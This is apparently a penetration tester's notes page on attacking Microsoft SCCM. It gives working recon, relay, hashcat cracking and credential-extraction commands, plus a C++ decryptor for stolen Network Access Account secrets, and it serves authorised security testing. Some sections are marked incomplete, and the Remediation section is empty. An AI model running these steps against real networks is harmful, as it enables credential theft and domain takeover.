SCCM Exploitation

Microsoft Configuration Manager, formerly System Center Configuration Manager (SCCM), part of the Microsoft Intune family of products. It helps with device management and configuration. SCCM has four main types of attacks.

Credit to Gabriel Prud'homme's Talk on SCCM Exploitation the info for source of most the the below notes.

SCCM Attack
Attack Type
Requirements

OSD/PXE Exploit

Breaking into AD and Priv Esc.

1. OSD Enabled over PXE. 2. Weak or No password on setup

OSD/ISO Install Exploit

Priv Esc.

1. AD Account. 2. OSD Files in insecure locations

NAA Credential Theft (Machine)

Priv Esc.

1. AD Account. 2. NAA in use

NAA Credential Theft (Relay)

Breaking into AD and Priv Esc.

1. NAA in use. 2. Credentials to relay (MITM6/Responder)

NAA Credential Theft (DPAPI)

Priv Esc.

1. AD Account. 2. NAA in use. 3. Local Admin on SCCM joined AD Machine

Client Push Account Coercion

Priv Esc.

1. AD Account. 2. Missing KB15599094? 3. Automatic Client Push Enabled. 4. NTLM Fallback enabled

SCCM$ Account Relay (MsSQL)

DA Priv Esc.

1. AD Account. 2. Missing EP on MsSQL

SCCM$ Account Relay (SMB)

DA Priv Esc.

1. AD Account. 2. Missing SMB Signing on MsSQl and Management Point Computer

Also look out for Account reuse (NAA is also Push Account or Push Account is SCCM Admin) and Password reuse (NAA, Push Account, SQL Admin, or SCCM admin with same password)

Recon

There is no exact science to doing SCCM recon, just a lot of pieces that you have to read into. But first, you will need to verify that SCCM is active in the Domain at all. This is best done with SCCMHunter but will require Active Directory credentials.

If you don't have any AD credentials, you can also look for open ports that indicate SCCM is in use. The Nessus PluginID 51836 will check for open SCCM ports. Also, you can see if SCCM's PXE boot is enabled over DHCP which will indicate that SCCM is in use. This can be done with PXEThief.py.

Alternatively, you can sometimes find SMB Shares that host SCCM data or use accounts named SCCM_PUSH or SCCM_* implying that SCCM is active. But if you have AD creds to do this, it's better to just run SCCMHunter.

Credentialed Recon (SCCMHunter)

Install SCCMHunter

git clone https://github.com/garrettfoster13/sccmhunter.git
cd sccmhunter
chmod +x *.py
virtualenv venv
source ./venv/bin/activate
pip install -r requirements.txt

Find SCCM Server

python3 sccmhunter.py find -d '<DOMAIN>' -u '<USER>' -dc-ip <DC>

Get info on SCCM Server

python3 sccmhunter.py smb -d '<DOMAIN>' -u '<USER>' -dc-ip <DC>

List SCCM Users

python3 sccmhunter.py show -users

List SCCM Computers

python3 sccmhunter.py show -computers

Uncredentialled Recon (Nmap)

SCCM Port Scan

sudo nmap -sSU -iL <targets.txt> -T4 --open -oA Nmap_SCCM_Scan_$(date +"%b-%d-%Y") -p T:8530-8531,49152-49159,10123,U:4011 --open

SCCM Ports:

  • Site Server and Management Point: 8530/tcp, 8531/tcp, and 10123/tcp

  • Distribution Point: 49152-49159/tcp

  • OSD: 4011/udp

Nessus also has a plug that can detect SCCM in use titled "Microsoft System Center Configuration Manager Management Point Detection" (Plugin ID: 51836)

Uncredentialled Recon (PXETheif)

Install PXEThief

git clone https://github.com/MWR-CyberSec/PXEThief
cd PXEThief
chmod +x *.py
virtualenv venv
source ./venv/bin/activate
sed -i '/pywin32>=303/d' requirements.txt  # This module is not supported on linux
pip install -r requirements.txt
python3 ./pxethief.py -h

Send PXE Boot Request (DHCP)

python3 ./pxethief.py 1

Send PXE Boot Request (Manual)

python3 ./pxethief.py 2 <SCCM SERVER IP>

Operating System Deployment (OSD) Exploit

Operating System Deployment (OSD) allows network admins to easily configure new windows machines with preset configurations all while keeping user info and SID's unique. It's essentially a setup script for windows Active Directory machines. There are four delivery methods for the OSD setup files.

  1. Networking Booting (PXE): Install windows on first boot via the network (DHCP or static IP).

  2. Stand Alone Media: An entirely offline ISO based setup.

  3. Bootable Media: An ISO file for USB flash drive setup.

  4. Pre Staged Media: The Image is shipped to the manufacturer.

PXE Exploit

If the PXE method is enabled and if the setup isn't password protected, we can exploit it to steal SCCM account credentials. If it is password protected, we can still get a hash and try to crack the setup password hash. This password is likely to be weak since it has to by typed by the network admin on each new machine when it is setup.

Send PXE Boot Request (DHCP)

python3 ./pxethief.py 1

Send PXE Boot Request (Manual)

python3 ./pxethief.py 2 <SCCM SERVER IP>

ISO Install Files Exploit

Although we can't likely go and steal a SCCM setup flash drive, we can sometimes find these files in SMB shares. Look for .WIM or .ISO files (variable.dat and policy.xml are somehow related to the ISO setup files).

If you can find the REMINST share and locate a SMSTemp you may can file the SCCM install media

Search Shares with NetExec

# Search data
netexec smb <SCCM Server> -u '<USER>' -p '<PASS>' -M spider_plus

# Search Data
jq . /tmp/nxc_hosted/nxc_spider_plus/* | grep -Ei "variable\.dat|policy\.xml|\.iso|\.wim"
SCCM Install Media on SMB Shares (Source Gabriel Prud'homme's Talk on SCCM Exploitation)

SCCM Install Media Loot (Source Gabriel Prud'homme's Talk on SCCM Exploitation)

Extract SCCM AES Hash from Variable.dat

If the SCCM installation Media has a password set, you will need to attempt to crack this password to get the ticket.

This section is not complete...

ISO File Hash Extraction

python3 pxethief.py 5 Variables.dat

Crack SCCM AES Hash

To crack the SCCM hash you will get out of Bootable Media/Presage Media and PXE with a password, you will need to install a custom Hashcat module that can be found Here.

You will need to get a fresh Hashcat pull and add in the custom Hashcat modules from the above link before building Hashcat. It is recommended to do this in WSL (because it's known to work) and to use version hashcat-6.2.5 (hashcat-6.2.6 did not work for me) Instruction can be found at the above GitHub, but below is my testing WSL install notes.

Install (WSL) - Recommended

# Install tools
sudo apt install gcc-mingw-w64-x86-64 g++-mingw-w64-x86-64 make git -y

# Get packages
git clone https://github.com/MWR-CyberSec/configmgr-cryptderivekey-hashcat-module.git
git clone https://github.com/win-iconv/win-iconv

# Get hashcat version 6.2.5
git clone https://github.com/hashcat/hashcat
cd hashcat
git checkout tags/v6.2.5
cd ../
# mv hashcat hashcat-sccm

# Add SCCM Hashcat module to hashcat
cp ./configmgr-cryptderivekey-hashcat-module/module_code/module_19850.c ./hashcat/src/modules/
cp ./configmgr-cryptderivekey-hashcat-module/opencl_code/m19850_a* ./hashcat/OpenCL/
sudo rm -r ./configmgr-cryptderivekey-hashcat-module

# Setup make win with win-iconv
cd win-iconv/
patch < ../hashcat/tools/win-iconv-64.diff
sudo make install
cd ../

# Build Hashcat
cd hashcat
make win

# Cleanup
cd ../
sudo rm -r win-iconv

Run (PowerShell)

.\hashcat.exe -a 0 -m 19850 <sccm.hash> <rockyou.txt> -r <OneRuleToRuleThemAll.rule>

SCCM AES Hashes can be generated roughly half as fast as NTLMv2. The above command using rockyou.txt and OneRuleToRuleThemAll.rule only took 6.5 hours on my laptop.

Network Access Account (NAA) Abuse

The Network Access Account (NAA) is used by SCCM (on the machine that is being setup) to authenticate to the SCCM server in order to get the needed packages. This is not a very secure method since it makes it easy to steal the NAA account credentials. Enhanced HTTP is a safer option and should be used instead of NAA.

Therefore, if you control a machine account you can make a request to SCCM to give you the NAA policy and subsequently, the NAA credentials. If you don't want to create a machine account, you can do a coercion and relay attack.

If you don't have any access to Active Directory, you can also perform a relay attack plus MITM6/Responder.

Remember that all low privilege users can join up to 10 machines (A.K.A. create up to 10 machine accounts). impacket-addcomputer can be used to do this.

Alternatively, If you are local admin on a machine that has been setup with SCCM, you can extract the NAA credentials form DPAPI.

This attack will add a new client to SCCM that needs to be cleaned up after testing.

NAA Credential Theft (Machine Account)

Install SCCMwtf

git clone https://github.com/xpn/sccmwtf
cd sccmwtf
virtualenv venv
source ./venv/bin/activate
pip install -r requirements.txt
chmod +x *.py

Request NAA Policy

python3.9 sccmwtf.py <MACHINE HOSTNAME> <MACHINE FQDN> <SCCM SERVER HOSTNAME> '<DOMAIN>/<MACHINE ACCOUNT>' '<MACHINE PASSWORD>'

# Display policy
cat /tmp/naapolicy.xml

# Decrypt XML Values
python3.9 ./policysecretunobfuscate.py <NetworkAccessUsername CDATA>
python3.9 ./policysecretunobfuscate.py <NetworkAccessPassword CDATA>

Machine Account Hostname Example: wrk1. Machine Account FQDN: wrk1.example.local

Example Data in naapolicy.xml

        <property name="NetworkAccessUsername" type="8" secret="1">
                <value>
                        <![CDATA[<NetworkAccessUsername CDATA>]]>
                </value>
        </property>
        <property name="NetworkAccessPassword" type="8" secret="1">
                <value>
                        <![CDATA[<NetworkAccessPassword CDATA>]]>
                </value>
        </property>

Decrypt XML Values (C++, Redundant)

The values of NetworkAcessUsername and NetworkAcessPassword in the naapolicy.xml contain cleartext usernames and passwords. However, they are obfuscated with encryption and need to be decrypted. You have to use the C++ windows headers so you will need to compile the following C++ code in PowerShell on any windows machine and run it to decrypt .

This does not have to be done on an AD joined windows machine. Any windows machine or VM will work.

Install MinGW (Admin PowerShell)

# Install chocolatey
Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1'))

# Install MinGW
choco install mingw

sccm-decrypt.cpp

#include <iostream>
#include <windows.h>
#include <wincrypt.h>

// https://stackoverflow.com/questions/17261798/converting-a-hex-string-to-a-byte-array
int char2int(char input)
{
    if (input >= '0' && input <= '9')
        return input - '0';
    if (input >= 'A' && input <= 'F')
        return input - 'A' + 10;
    if (input >= 'a' && input <= 'f')
        return input - 'a' + 10;
    throw std::invalid_argument("Invalid input string");
}

void hex2bin(const char* src, char* target)
{
    while (*src && src[1])
    {
        *(target++) = char2int(*src) * 16 + char2int(src[1]);
        src += 2;
    }
}

int main(int argc, char **argv)
{
    HCRYPTPROV prov, prov2;
    HCRYPTHASH hash;
    HCRYPTKEY cryptKey;
    BYTE buffer[1024];

    if (argc != 2) {
        return 1;
    }

    char *input = argv[1];

    // Check the header
    if (input[0] != '8' || input[1] != '9') {
        return 1;
    }

    char* output = (char*)malloc(strlen(input) / 2);
    if (output == NULL) {
        return 1;
    }

    // Convert to bytes
    hex2bin(input, output);

    // Get data length
    DWORD len = *(DWORD*)(output + 52);

	if (len > sizeof(buffer)) { 
		return 2;
	}

    // Hash length
    memcpy(buffer, output + 64, len);

    // Do the "crypto" stuff
    CryptAcquireContext(&prov, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT);
    CryptCreateHash(prov, CALG_SHA1, 0, 0, &hash);
    CryptHashData(hash, (const BYTE*)output + 4, 0x28, 0);
    CryptDeriveKey(prov, CALG_3DES, hash, 0, &cryptKey);
    CryptDecrypt(cryptKey, 0, 1, 0, buffer, &len);

    // Output
    wprintf(L"%s\n", buffer);

	// Below line removed from code as it was causing issues and deemed to be unnecessary
    // free(buffer);

    return 0;
}

Source: HERE

Compile sccm-decrypt w/ MinGW

g++ -o sccm-decrypt.exe sccm-decrypt.cpp

Decrypt NAA Policy:

sccm-decrypt.exe <NetworkAcessUsername Value>
sccm-decrypt.exe <NetworkAcessPassword Value>

Remember to cleanup

NAA Credential Theft (Relay Attack)

# Install SCCM Impacket Fork
sudo -s
git clone https://github.com/Tw1sm/impacket.git
cd impacket
git checkout feature/sccm-relay
virtualenv venv
source ./venv/bin/activate
pip install .

# Run
ntlmrelay.py -t http://<SCCM SERVER>/ccm_system_windowsauth/request --sccm --sccm-device kppentest --sccm-fqdn <SCCM SEVER FQDN> --sccm-server <SCCM SERVER HOSTNAME> --sccm-sleep 10 -smb2support

# Show the policy after sucessful attack
cat naapolicy.xml

# You will need to decrypt the credentails (see the above section)

You may need to use Matt Creel's version of Impacket (https://github.com/Tw1sm/impacket).

Remember to cleanup

NAA Credential Theft (DPAPI)

Given the above two methods, there really is no reason to run this one. However, in very rare cases it will be the easiest.

NAA Credential DPAPI Extraction (Windows)

SharpSCCM_merged.exe get secrets -m wmi

# OR

SharpDPAPI.exe SCCM

NAA Credential DPAPI Extraction (Linux)

SystemDPAPIdump.py <DOMAIN>/<USER>@<IP>

Cleanup NAA Credential Theft

If you run the relay attack or machine account attack, you will need to remove the machine you added to SCCM (and also remove the machine account entirely if you created one). You must be SCCM Admin to remove accounts, you you will likely just want to contract the client.

Client Push Account Coercion

The SCCM Client Push Account is used to conveniently install SCCM on endpoints via a push through the SCCM dashboard. This is an insecure method compared to GPO or login scripts. If this account isn't active, the SCCM server will fall back to it's machine account to perform the new endpoint onboarding. If setup. the Client Push account is supposed to be local admin on every SCCM client.

If the system has not been patched with KB15599094, there are two misconfiguration that can allow for abuse.

  1. Automatic Client Push Enabled (Enabled automatic Site-Wide client push installation)

  2. NTLM Fallback enabled (Allowed connections fallback to NTLM)

Client Push Account Coercion Exploit

On machines that are already a SCCM client that you are an admin on, you can coerce the Client Push account to authenticate to you. You will have to use SharpSCCM to do this attack and more info can be found here.

From what I can tell, you cannot do this with just a machine account that you create and enroll with SCCM. I believe you have to be a local windows admin on a windows machine that is enrolled with SCCM. However, I'm not 100% certain about this.

SCCM Machine Account Privilege Escalation

By default, the SCCM machine account will be an Admin on the SQL Server and Management Point Computer. If there are no relay protections (SMB Signing or Extended Protection MsSQL), you can coerce and relay the machine account hash to the affected server to become local Admin. Worse, you can use this privilege to become SCCM admin.

In rare cases where the blue team is lazy and adds the SCCM machine account as a local admin (sccm$) to make things work. You can simply coerce the SCCM machine with PetitPotam and relay it to the target to get local admin.

Once you become the SCCM Admin, you run arbitrary commands on SCCM enrolled clients.

SCCM Machine Account Relay (MsSQL)

As long as Extended Protection is disabled on the MsSQL server that hosts the SCCM data (SCCM requires a MsSQL server to host it's data), than you can coerce the SCCM Machine and relay it to the MsSQL server.

SCCM Machine Account Relay (SMB)

If SMB singing isn't enforced on the SQL Server and Management Point Computer, you can perform a basic coercion and relay attack.

Remediation

Sources

Last updated